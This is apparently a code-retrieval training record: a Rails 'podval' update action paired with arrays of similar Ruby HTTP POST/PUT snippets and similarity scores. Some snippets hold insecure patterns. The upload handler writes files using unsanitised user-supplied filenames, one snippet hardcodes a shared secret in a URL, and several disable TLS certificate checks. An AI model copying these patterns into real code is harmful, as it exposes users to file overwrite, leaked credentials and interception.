"def post(path, params = {})\n request(:post, path, params)\n end",
"def post(path, params = {})\n request(:post, path, params)\n end",
"def post(path, params = {})\n request(:post, path, params)\n end",
"def post(path, params = {})\n request(:post, path, params)\n end",
"def post(path, params = {})\n request(:post, path, params)\n end",
"def post_nodes_with_root\n serialize_service.post_nodes_serialized\n end",
"def post #:doc:\n end",
"def pod_params\n params.require(:pod).permit( :user_id, :name, :description, :photo, :tag_list) \n end",
"def post(path, params = {})\n request(:post, path, params)\n end",
"def create\n @prop_value = PropValue.new(params[:prop_value])\n\n respond_to do |format|\n if @prop_value.save\n flash[:notice] = 'PropValue was successfully created.'\n format.html { redirect_to(@prop_value) }\n format.xml { render :xml => @prop_value, :status => :created, :location => @prop_value }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @prop_value.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post(path, params = {})\n resource(path).post(params)\n end",
"def post(action, params={}, options={})\n request(:post, action, params, options)\n end",
"def update_value\n # I don't know why it isn't working with HTTPI\n # Putting these exact fields into HTTPI fails and this works correctly so...\n url = \"#{@credential.sentinelone_url}#{ANALYST_VERDICT_URL}#{@action}\"\n uri = URI.parse(url)\n request = Net::HTTP::Post.new(uri)\n request.content_type = \"application/json\"\n request[\"Authorization\"] = \"ApiToken #{@credential.access_token}\"\n body = { \"filter\" => { \"ids\" => [@app_result.details.id] } }\n request.body = JSON.dump(body)\n req_options = { use_ssl: uri.scheme == \"https\" }\n\n resp = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|\n http.request(request)\n end\n\n resp\n end",
"def post(path, params)\n parse_response @client[path].post(params)\n end",
"def post_request(params, useSSL=false)\n # get a server handle\n port = (useSSL == true) ? 443 : 80\n http_server = Net::HTTP.new(API_HOST, port)\n http_server.use_ssl = useSSL\n \n # build a request\n http_request = Net::HTTP::Post.new(API_PATH_REST)\n http_request.form_data = params\n \n # get the response XML\n return http_server.start{|http| http.request(http_request)}.body\n end",
"def test_client_post\n client = CoAP::Client.new\n answer = client.post('coap.me', 5683, '/test', 'TD_COAP_CORE_04')\n assert_equal(2, answer.mcode[0])\n assert_equal(1, answer.mcode[1])\n assert_equal('POST OK', answer.payload)\n end",
"def post(path, params={})\n signature_params = params.values.any?{|value| value.respond_to?(:to_io)} ? {} : params\n request(:post, path, params, signature_params)\n end",
"def post(params = nil)\n request.method = :post\n execute(params)\n end",
"def create\n\t\turi = URI.parse(Counter::Application.config.simplyurl)\n\t\thttp = Net::HTTP.new(uri.host, uri.port)\n\t\t\n\t\trequest = Net::HTTP::Post.new('/offsets.json')\n\t\tputs params\n\t\tputs params.slice(*['custids','acctids','itemids'])\n\t\t\n\t\t# ok, this join stuff is bogus - it encodes properly, but the other side only sees the last element and loses the array type - it's just string\n\t\t# this way, i 'split' it at the other side to recover my array\n\t\t# it should work without the join/split crap, but it doesn't\n\t\trequest.set_form_data({:custids => ( params['custids'] || []).join(','), :acctids => ( params['acctids'] || []).join(','), :itemids => ( params['itemids'] || []).join(','), :amount => params['amount'], :type => params['type']})\n\t\t\n\t\tputs request.body\n\t\t\n\t\tresponse = http.request(request)\n\t\tputs response.body\n\n respond_to do |format|\n format.html { render :text => response.code == :ok ? \"\" : response.body, status: response.code }\n format.json { render :text => response.code == :ok ? \"\" : response.body, status: response.code }\n end\n end",
"def post\n resource.post(request, response)\n end",
"def post(body)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true if uri.scheme == 'https'\n\n request = Net::HTTP::Post.new(uri)\n request['Content-Type'] = 'text/xml'\n request['Accept-Language'] = locale if locale\n request.body = body\n\n response = http.request(request)\n\n Response.new(response, uri)\n end",
"def post(path, params={})\n signature_params = params.values.any?{|value| value.respond_to?(:to_io)} ? {} : params\n request(:post, path, params, signature_params)\n end",
"def post(path, params={})\n signature_params = params.values.any?{|value| value.respond_to?(:to_io)} ? {} : params\n request(:post, path, params, signature_params)\n end",
"def post(path, params={})\n signature_params = params.values.any?{|value| value.respond_to?(:to_io)} ? {} : params\n request(:post, path, params, signature_params)\n end",
"def post(path, params={})\n signature_params = params.values.any?{|value| value.respond_to?(:to_io)} ? {} : params\n request(:post, path, params, signature_params)\n end",
"def post path_and_params, post_body\n start if not @pid\n @lock.synchronize do\n @last_use = Time.new.to_f\n\n # Make request to xtractr\n Net::HTTP.start('localhost', @port) do |http|\n http.request_post \"/#{path_and_params}\", post_body do |response|\n headers = {}\n response.each_header {|name,val| headers[name] = val}\n return response.code.to_i, headers, response.body\n end\n end\n end\n end",
"def post_evaluate(excon, body)\n excon.request(\n method: :post,\n path: '/evaluate',\n headers: { 'Content-Type' => 'application/json' },\n body: body\n )\nend",
"def post(path, params={}, options={})\n request(:post, api_path(path), params, options)\n end",
"def create(name=\"Default Name\", age=\"50\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <name>#{name}</name>\r\n <age>#{age}</age>\r\n </person>\"\r\n \r\n request = Net::HTTP::Post.new(@url)\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n \r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n response.body \r\n end",
"def post(*args)\n request(:post, *args)\n end",
"def POST; end",
"def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end",
"def post operation, data={}\n body = case data\n when String\n body = data\n else\n Yajl::Encoder.encode(data)\n end\n\n request = new_request operation, body\n request.sign sts\n hydra.queue request\n hydra.run\n response = request.response\n puts response.inspect if @debug\n\n if response.code == 200\n Yajl::Parser.parse response.body\n else\n raise_error response\n end\n end",
"def post(data)\n response_data = []\n data.each do |xml|\n req = send_request(xml)\n\n if req[:code].to_i.between?(200, 201)\n response_data << req[:data]\n else\n if req[:code] == \"401\"\n raise ResponseError, \"Could not authenticate with the Pomegranate API. Ensure that your credentials are correct.\"\n elsif req[:code] == \"400\"\n raise ResponseError, \"Bad asset value formatting. Please reformat and try again.\"\n else\n raise StandardError, \"An unknown error has occured.\"\n end\n response_data = false\n break\n end\n end\n\n response_data\n end",
"def posttestrail(runId, caseId, statusId, versionId, elapsedseconds)\r\n\r\n uri = \"http://testrailgw.jupiter.bbc.co.uk/?action=add_result_for_case&run_id=#{runId}&case_id=#{caseId}&status_id=#{statusId}&version=#{versionId}&elapsed_seconds=#{elapsedseconds}&sharedSecret=thI5iSourSHAREDsecret\"\r\n #uri = \"http://testrailgw.jupiter.bbc.co.uk/?action=add_result_for_case&run_id=110324&case_id=665022&status_id=1&version=Test&elapsed_seconds=12&sharedSecret=thI5iSourSHAREDsecret\"\r\n\r\n uri = uri.gsub(\" \", \"%20\")\r\n xml_data = open(uri).read\r\n if(xml_data.include? '\"test_id\":')\r\n recorded = xml_data.split('\"test_id\":')[1]\r\n testID = recorded.split(',\"status_id\"')[0]\r\n puts \"TestID:\"+testID\r\n else\r\n puts xml_data\r\n fail \"Cannot Post result to Testrail, check Webservice\"\r\n end\r\n\r\n timeStamp = Time.now.strftime (\"posted at %H:%M %d/%m/%Y\")\r\n files = \"//zgbwcfs3005.jupiter.bbc.co.uk/QA/Jenkins/Jupiter/ICETEAresultupdatelog.txt\"\r\n f = File.open(files,'a')\r\n f.write \"#{testID} #{timeStamp}\"\r\n f.close\r\nend",
"def post(uri, xml)\r\n req = Net::HTTP::Post.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end",
"def post(url, params = {})\n client.post(url, params).body\n end",
"def post(path, params = {})\n @connection.post(path, params)\n end",
"def post(url, payload)\n options = {body: payload}\n res = HTTParty.post(ROOT + url, options)\n ap res\n raise PushTransactionFailed.new(res.body, options.merge!({\"status\" => res.code})) if res.code >= 400\n res.body\n end",
"def save_to_node\n node.set[:sysctl][:values][@new_resource.name] = @new_resource.value if @new_resource.save == true\nend",
"def post(resource, params)\n case resource\n when \"pedidos\", \"place_order\", \"new_order\" then url = \"/pedidos\"\n when \"envios\", \"shipping\" then url = \"/envios\"\n else url = \"/#{resource}\"\n end\n\n post_request(url, params)\n end",
"def post_update!(options = {})\n rsp = post(prepare_update_xml(options))\n success?(rsp.body) or log_error(rsp.body)\n end",
"def post(path, params={})\n RestClient.post request_base+path, params\n end",
"def post(endpoint, url, args, version = 'v1')\n qs = build_qs(args)\n req_url = \"#{url}/api/#{version}/#{endpoint}?#{qs}\"\n\n request(req_url, :POST)\n end",
"def post(path, params)\n connection.post(path) { |req| req.body = params }\n end",
"def post endpoint, body = {}\n body.merge!(api_key: api_key, namespace: namespace)\n\n response = connection.post do |req|\n req.url endpoint\n req.body = body.to_json\n end\n\n format_response_or_raise_error(response)\n end",
"def post(path, params = {})\n signature_params = params.values.any? { |value| value.respond_to?(:to_io) } ? {} : params\n request(:post, path, params, signature_params)\n end",
"def post(payload)\n post_like payload, Net::HTTP::Post.new(@uri.path)\n end",
"def post(path, params = {})\n\t\trequest(path, :post, params)\n\tend",
"def post_request(path, params={}, options={})\n request(:post, path, params, options)\n end",
"def post(path, params={})\n params[:apikey] = self.api_key\n RestClient::Request.execute(\n :method => :post,\n :url => \"#{self.uri}#{path}\",\n :headers=> {},\n :payload=> params,\n :verify_ssl=> @ssl_verify )\n end",
"def build_body(metric, timestamp, value)\n {\n \"metric\" => metric,\n \"timestamp\" => timestamp,\n \"value\" => value,\n \"tags\" => { \"status\" => \"test\" }\n }.to_json\nend",
"def post(*args)\n request :post, *args\n end",
"def create\n @pv = Pv.new(pv_params)\n @pv.proyect = @proyect\n\n respond_to do |format|\n if @pv.save\n format.html { redirect_to proyect_pv_path(@proyect,@pv), notice: 'Propuesta de Valor ha sido creada.' }\n format.json { render :show, status: :created, location: @pv }\n else\n format.html { render :new }\n format.json { render json: @pv.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_tenant_circle(args = {}) \n post(\"/tenantcircles.json/\", args)\nend",
"def create\n @known_value = KnownValue.new(params[:known_value])\n\n respond_to do |format|\n if @known_value.save\n flash[:notice] = \"Varible #{@known_value.name} was successfully created.\"\n format.html { redirect_to(@known_value) }\n format.xml { render :xml => @known_value, :status => :created, :location => @known_value }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @known_value.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post(path:, params: {})\n request(method: :post, path: path, params: params)\n end",
"def pods\n\nend",
"def create_post(params)\n mock_request = Rack::MockRequest.new(APP)\n mock_request.post(new_post_endpoint, { 'router.params' => params, format: :json })\n end",
"def post(path, params = nil)\n response = @connection.post do |req|\n req.headers = generate_headers\n req.url path\n req.body = params.to_json\n end\n Arke::Log.fatal(build_error(response)) if response.env.status != 201\n response\n end",
"def post(data = {})\n call data, method: :post\n end",
"def create\n @chef_value = ChefValue.new(chef_value_params)\n\n respond_to do |format|\n if @chef_value.save\n format.html { redirect_to @chef_value, notice: 'Chef value was successfully created.' }\n format.json { render :show, status: :created, location: @chef_value }\n else\n format.html { render :new }\n format.json { render json: @chef_value.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_vpn_status\n # Request parameters\n mac = params[:mac]\n vpn_status_name = params[:vpn_status]\n vpn_sw = params[:vpn_sw]\n ip = params[:ip]\n viewpoint = params[:viewpoint] || \"Unknown\"\n vpn_status = VpnStatus.find_by_name vpn_status_name\n node = Node.find_or_create_by_id mac.to_i(16)\n node.update_vpn_status vpn_status,ip,vpn_sw,viewpoint\n render status: :created, :text => \"\"\n end",
"def post_save xml, options={:mapping=>:_default}\n # using REXML's element namespace method doesn't seem to set the namespace correctly...?\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\")\n xml.root.add_namespace \"xsi\", \"http://www.w3.org/2001/XMLSchema-instance\"\n xml.root.add_namespace \"xsd\", \"http://www.w3.org/2001/XMLSchema\"\n # for challengeResponses/response\n xml.each_element(\"//response\") do |x|\n x.add_namespace \"v11\", \"http://schema.intuit.com/platform/fdatafeed/challenge/v1\"\n x.name = \"v11:response\"\n end\n # for challengeResponses root\n xml.each_element(\"//challengeResponses\") do |x|\n x.add_namespace \"v1\", \"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\"\n x.name = \"challengeResponses\"\n end\n end",
"def post(buffer)\n connection.post(\"#{configuration.path}/update\", buffer, {'Content-type' => 'text/xml;charset=utf-8'})\n end",
"def post(path, parameters = {})\n request(:post, path, parameters)\n end",
"def post( doc, opts = {} )\n response = http_action :post, nil, opts.merge( :doc => doc )\n doc['_id'], doc['_rev'] = response['id'], response['rev'] if doc.kind_of? Hash\n response\n end",
"def post(uri, parameters = nil)\n response = Unirest.post uri, parameters: parameters\n response.body\n end",
"def post(payload = {})\n request! do\n api[url.path].post(to_payload(payload), API_HEADERS)\n end\n end",
"def post(uri, options = T.unsafe(nil)); end",
"def post_xml_64(xml=:example_response)\n post \"/auth/saml/callback\", {'SAMLResponse' => load_xml_64(xml)}\nend",
"def post_save xml, options={:mapping=>:_default}\n # using REXML's element namespace method doesn't seem to set the namespace correctly...?\n xml.root.add_attributes(\"xmlns\"=>\"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\")\n xml.root.add_namespace \"xsi\", \"http://www.w3.org/2001/XMLSchema-instance\"\n xml.root.add_namespace \"xsd\", \"http://www.w3.org/2001/XMLSchema\"\n # for challengeResponses/response\n xml.each_element(\"//response\") do |x| \n x.add_namespace \"v11\", \"http://schema.intuit.com/platform/fdatafeed/challenge/v1\"\n x.name = \"v11:response\"\n end\n # for challengeResponses root\n xml.each_element(\"//challengeResponses\") do |x| \n x.add_namespace \"v1\", \"http://schema.intuit.com/platform/fdatafeed/institutionlogin/v1\"\n x.name = \"challengeResponses\"\n end\n end",
"def post_xml(url, ls_data)\n uri = URI.parse(url)\n request = Net::HTTP::Post.new(uri.request_uri, HEADER_XML)\n request.body = ls_data\n request.basic_auth(@nsx_user, @nsx_password)\n response = Net::HTTP.start(uri.host, uri.port, :use_ssl => true,\n :verify_mode => OpenSSL::SSL::VERIFY_NONE) do |https|\n https.request(request)\n end\n return response.body if check_response(response, 201)\n end",
"def post_data(body)\r\n raise ConfigError, 'no json_records' if body.empty?\r\n # Create REST request header\r\n header = get_header(body.bytesize)\r\n # Post REST request \r\n response = RestClient.post(@uri, body, header)\r\n\r\n return response\r\n end",
"def test_create_preference\n\t\tpreferenceData = Hash[\"items\" => Array(Array[\"title\"=>\"testCreate\", \"quantity\"=>1, \"unit_price\"=>10.2, \"currency_id\"=>\"ARS\"])]\n\t\n\t\tpreference = $mp.create_preference(preferenceData)\n\t\tassert_equal(\"#{preference['status']}\",\"201\")\n\t\tassert_equal(\"#{preference['response'][\"items\"][0][\"title\"]}\",\"testCreate\")\n\tend",
"def post_translation(key, lang, source, new_value)\n return true unless $REAL\n\n new_value_json = {\n 'target_language' => lang,\n 'type' => 'key',\n 'key' => key,\n 'source' => source,\n 'target' => new_value\n }.to_json\n # NOTE: This popen invocation does NOT go through the shell,\n # so we do not use shell escapes.\n # POST https://translation.io/api/v1/segments(.json)\n IO.popen(\n [\n 'curl', '-i',\n '-H', \"x-api-key: #{$API_KEY}\",\n '-H', 'content-type: application/json',\n '--request', 'POST',\n 'https://translation.io/api/v1/segments.json',\n '--data', new_value_json\n ]\n ) do |io|\n curl_output = io.read\n puts curl_output # Very useful for debugging!\n io.close\n $CHILD_STATUS.success? # Return whether or not we succeeded\n end\nend"
] | [
"0.57049316",
"0.54709834",
"0.5308807",
"0.5175909",
"0.5172681",
"0.51400983",
"0.5076454",
"0.5031883",
"0.50246847",
"0.50151294",
"0.49099264",
"0.48643515",
"0.4830862",
"0.4819268",
"0.4819268",
"0.4819268",
"0.4818986",
"0.4812253",
"0.48077974",
"0.47933495",
"0.47890088",
"0.47886994",
"0.47602075",
"0.47550604",
"0.47517198",
"0.47288656",
"0.47288656",
"0.47288656",
"0.47288656",
"0.47288656",
"0.47285938",
"0.47203308",
"0.4717438",
"0.4685361",
"0.467973",
"0.46620506",
"0.46618864",
"0.4660779",
"0.46570694",
"0.4654563",
"0.46540812",
"0.46379468",
"0.46357015",
"0.4635532",
"0.46351382",
"0.46348143",
"0.46315646",
"0.46315646",
"0.46315646",
"0.46315646",
"0.46254247",
"0.4622116",
"0.4621567",
"0.46165732",
"0.4615835",
"0.4615535",
"0.46079257",
"0.46061528",
"0.46054894",
"0.46013495",
"0.45901006",
"0.45864615",
"0.4584731",
"0.45829275",
"0.4577947",
"0.45746866",
"0.45710745",
"0.45687345",
"0.45679253",
"0.4566762",
"0.4549159",
"0.45295915",
"0.45294532",
"0.4529377",
"0.45229793",
"0.45119706",
"0.45067787",
"0.45031416",
"0.44991213",
"0.44955784",
"0.4494596",
"0.44934452",
"0.4473587",
"0.44693193",
"0.4468847",
"0.44660226",
"0.44498545",
"0.4445746",
"0.44450206",
"0.44423175",
"0.44331515",
"0.44328165",
"0.44298476",
"0.44295797",
"0.4428311",
"0.4427801",
"0.44268802",
"0.44228634",
"0.44165656",
"0.44146833",
"0.4412632"
] | 0.0 | -1 |
PUT /podvals/1 PUT /podvals/1.xml | def update
@podval = Podval.find(params[:id])
name1 = params[:podval][:tov1img].original_filename if params[:podval][:tov1img]
name2 = params[:podval][:tov2img].original_filename if params[:podval][:tov2img]
name3 = params[:podval][:tov3img].original_filename if params[:podval][:tov3img]
name4 = params[:podval][:tov4img].original_filename if params[:podval][:tov4img]
name5 = params[:podval][:tov5img].original_filename if params[:podval][:tov5img]
name6 = params[:podval][:divup].original_filename if params[:podval][:divup]
name7 = params[:podval][:divdown].original_filename if params[:podval][:divdown]
directory = 'public/images/podval'
path1 = File.join(directory, name1) if params[:podval][:tov1img]
path2 = File.join(directory, name2) if params[:podval][:tov2img]
path3 = File.join(directory, name3) if params[:podval][:tov3img]
path4 = File.join(directory, name4) if params[:podval][:tov4img]
path5 = File.join(directory, name5) if params[:podval][:tov5img]
path6 = File.join(directory, name6) if params[:podval][:divup]
path7 = File.join(directory, name7) if params[:podval][:divdown]
File.open(path1, "wb") { |f| f.write(params[:podval][:tov1img].read) } if params[:podval][:tov1img]
File.open(path2, "wb") { |f| f.write(params[:podval][:tov2img].read) } if params[:podval][:tov2img]
File.open(path3, "wb") { |f| f.write(params[:podval][:tov3img].read) } if params[:podval][:tov3img]
File.open(path4, "wb") { |f| f.write(params[:podval][:tov4img].read) } if params[:podval][:tov4img]
File.open(path5, "wb") { |f| f.write(params[:podval][:tov5img].read) } if params[:podval][:tov5img]
File.open(path6, "wb") { |f| f.write(params[:podval][:divup].read) } if params[:podval][:divup]
File.open(path7, "wb") { |f| f.write(params[:podval][:divdown].read) } if params[:podval][:divdown]
respond_to do |format|
if @podval.update_attributes(params[:podval])
@podval.tov1img = name1[0..-5] if params[:podval][:tov1img]
@podval.tov2img = name2[0..-5] if params[:podval][:tov2img]
@podval.tov3img = name3[0..-5] if params[:podval][:tov3img]
@podval.tov4img = name4[0..-5] if params[:podval][:tov4img]
@podval.tov5img = name5[0..-5] if params[:podval][:tov5img]
@podval.divup = name6[0..-5] if params[:podval][:divup]
@podval.divdown = name7[0..-5] if params[:podval][:divdown]
@podval.save
flash[:notice] = 'Сохранено.'
format.html { redirect_to podvals_path }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end",
"def update(uri, payload)\n url = \"#{@config[:base_url]}#{@config[:rest_path]}/#{extract_pid(uri)}\"\n request = Request.new(\n \"Put\", url, payload.to_s, {\n \"Accept\" => \"application/json\",\n \"Content-Type\" => \"application/json\",\n \"Content-Length\" => \"nnnn\",\n @auth_header => @token\n }\n )\n response = request.perform\n response\n end",
"def destroy\n @podval = Podval.find(params[:id])\n @podval.destroy\n\n respond_to do |format|\n format.html { redirect_to(podvals_url) }\n format.xml { head :ok }\n end\n end",
"def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end",
"def put payload, path = \"\"\n make_request(path, \"put\", payload)\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def update\n @user= User.find(params[:user_id])\n @pod = Pod.find(params[:id])\n if @pod.update_attributes(pod_params)\n flash[:success] = \"Pod updated\"\n redirect_to @user\n else\n render 'edit'\n end\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def put(*args)\n request :put, *args\n end",
"def update(id, name=\"Updated Name\", age=\"55\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <id type='integer'>#{id}</id>\r\n <name>#{name}</name>\r\n <age>#{age}</age> \r\n </person>\"\r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end",
"def put(path, params)\n parse_response @client[path].put(params)\n end",
"def update\n put :update\n end",
"def put!\n request! :put\n end",
"def UpdateView params = {}\n \n APICall(path: 'views.json',method: 'PUT',payload: params.to_json)\n \n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def put(path, params)\n request(:put, path, params)\n end",
"def put endpoint, data\n do_request :put, endpoint, data\n end",
"def put(uri, doc = nil, options = {})\n execute(uri, :put, options, doc)\n end",
"def put(path, params = {})\n request(:put, path, params)\n end",
"def put(path, params = {})\n request(:put, path, params)\n end",
"def put(path, params = {})\n request(:put, path, params)\n end",
"def rest_update(uri, method: Net::HTTP::Put)\n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n doc = strip_class_attributes(yield doc)\n \n request2 = method.new uri\n request2.content_type = 'application/xml'\n auth_admin(request2)\n\n request2.body=doc.to_s\n \n response2 = http.request request2\n response.value\n\n end\n \nend",
"def put(path, params={})\n request(:put, path, params)\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def update_volumes(username, token, workset_name, volume_ids)\n\n #<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n #<volumes xmlns=\"http://registry.htrc.i3.illinois.edu/entities/workset\">\n # <volume>\n # <id>9999999</id>\n # </volume>\n # <volume>\n # <id>3333333</id>\n # </volume>\n # </volumes>\n volumes_xml =\n \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\" +\n \"<volumes xmlns=\\\"http://registry.htrc.i3.illinois.edu/entities/workset\\\">\";\n\n for id in volume_ids\n volumes_xml += \"<volume><id>#{id}</id></volume>\"\n end\n volumes_xml += \"</volumes>\"\n\n\n # curl -v --data @new_volumes.xml -X PUT \\\n # -H \"Content-Type: application/vnd.htrc-volume+xml\" \\\n # -H \"Accept: application/vnd.htrc-volume+xml\" \\\n # http://localhost:9763/ExtensionAPI-0.1.0/services/worksets/workset1/volumes?user=fred\n\n url = URI.parse(\"#{APP_CONFIG['registry_url']}/worksets/#{workset_name}/volumes\")\n http = Net::HTTP.new(url.host, url.port)\n if Rails.env.development?\n http.set_debug_output($stdout)\n end\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Put.new(url.request_uri)\n request[\"Content-Type\"] = \"application/vnd.htrc-volume+xml\"\n request.add_field(\"Authorization\", \"Bearer #{token}\")\n\n request.body = volumes_xml\n response = http.request(request)\n\n #xml = response.body\n\n case response\n when Net::HTTPUnauthorized then\n raise Exceptions::SessionExpiredError.new(\"Session expired. Please login again\")\n when Net::HTTPSuccess then\n # Do nothing\n else\n raise Exceptions::SystemError.new(\"Error retrieving worksets (HTTP #{response.code})\")\n end\n\n end",
"def update(params)\n self.class.new reinit_endpoint(params).do_put\n end",
"def test_should_update_project_via_API_XML\r\n get \"/logout\"\r\n put \"/projects/1.xml\", :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response 401\r\n end",
"def update_value\n # I don't know why it isn't working with HTTPI\n # Putting these exact fields into HTTPI fails and this works correctly so...\n url = \"#{@credential.sentinelone_url}#{ANALYST_VERDICT_URL}#{@action}\"\n uri = URI.parse(url)\n request = Net::HTTP::Post.new(uri)\n request.content_type = \"application/json\"\n request[\"Authorization\"] = \"ApiToken #{@credential.access_token}\"\n body = { \"filter\" => { \"ids\" => [@app_result.details.id] } }\n request.body = JSON.dump(body)\n req_options = { use_ssl: uri.scheme == \"https\" }\n\n resp = Net::HTTP.start(uri.hostname, uri.port, req_options) do |http|\n http.request(request)\n end\n\n resp\n end",
"def update_metadata(params)\n @client.put(metadata_path, nil, params, \"Content-Type\" => \"application/json\")\n end",
"def update_value(value, timestamp=nil)\n params = { value: value }\n params[:timestamp] = timestamp if timestamp\n @client.put(\"#{path}/value\", nil, params, \"Content-Type\" => \"application/json\")\n end",
"def update\n @prop_value = PropValue.find(params[:id])\n\n respond_to do |format|\n if @prop_value.update_attributes(params[:prop_value])\n flash[:notice] = 'PropValue was successfully updated.'\n format.html { redirect_to(@prop_value) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @prop_value.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update(*args)\n put(*args)\n end",
"def update(*args)\n put(*args)\n end",
"def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def put(path, params = {})\n request(:put, path, params)\n end",
"def put(path, params = {})\n request(:put, path, params)\n end",
"def put(path, params={})\n request(:put, path, params)\n end",
"def test_put\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n contents = last_response.body\n contents_id = contents['_id']\n\n data = File.read 'sample-traces/1.json'\n put(\"/traces/#{contents_id}\", data, 'CONTENT_TYPE': 'application/json')\n contents = last_response.body\n\n assert_equal contents_id, contents['_id']\n end",
"def create_update_volumes(username, token, workset_name, volume_ids)\n\n #<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n #<volumes xmlns=\"http://registry.htrc.i3.illinois.edu/entities/workset\">\n # <volume>\n # <id>9999999</id>\n # </volume>\n # <volume>\n # <id>3333333</id>\n # </volume>\n # </volumes>\n volumes_xml =\n \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?>\" +\n \"<volumes xmlns=\\\"http://registry.htrc.i3.illinois.edu/entities/workset\\\">\";\n\n for id in volume_ids\n volumes_xml += \"<volume><id>#{id}</id></volume>\"\n end\n volumes_xml += \"</volumes>\"\n\n\n # curl -v --data @new_volumes.xml -X PUT \\\n # -H \"Content-Type: application/vnd.htrc-volume+xml\" \\\n # -H \"Accept: application/vnd.htrc-volume+xml\" \\\n # http://localhost:9763/ExtensionAPI-0.1.0/services/worksets/workset1/volumes?user=fred\n\n url = URI.parse(\"#{APP_CONFIG['registry_url']}/worksets/#{workset_name}\")\n http = Net::HTTP.new(url.host, url.port)\n if Rails.env.development?\n http.set_debug_output($stdout)\n end\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Put.new(url.path)\n request[\"Content-Type\"] = \"application/vnd.htrc-volume+xml\"\n request.add_field(\"Authorization\", \"Bearer #{token}\")\n\n request.body = volumes_xml\n response = http.request(request)\n\n #xml = response.body\n\n case response\n when Net::HTTPUnauthorized then\n raise Exceptions::SessionExpiredError.new(\"Session expired. Please login again\")\n when Net::HTTPSuccess then\n # Do nothing\n else\n raise Exceptions::SystemError.new(\"Error retrieving worksets (HTTP #{response.code})\")\n end\n end",
"def update(path)\n output { patch(path, params) }\n end",
"def new\n @podval = Podval.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @podval }\n end\n end",
"def put(uri, params = {})\n send_request(uri, :put, params)\n end",
"def put(*args)\n request(:put, *args)\n end",
"def update(id, name= \"Updated Name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <id type='integer'>#{id}</id>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end",
"def put(path, params={})\n RestClient.put request_base+path, params\n end",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def put(path, doc = nil, options = {})\n execute('PUT', path, options, doc)\n end",
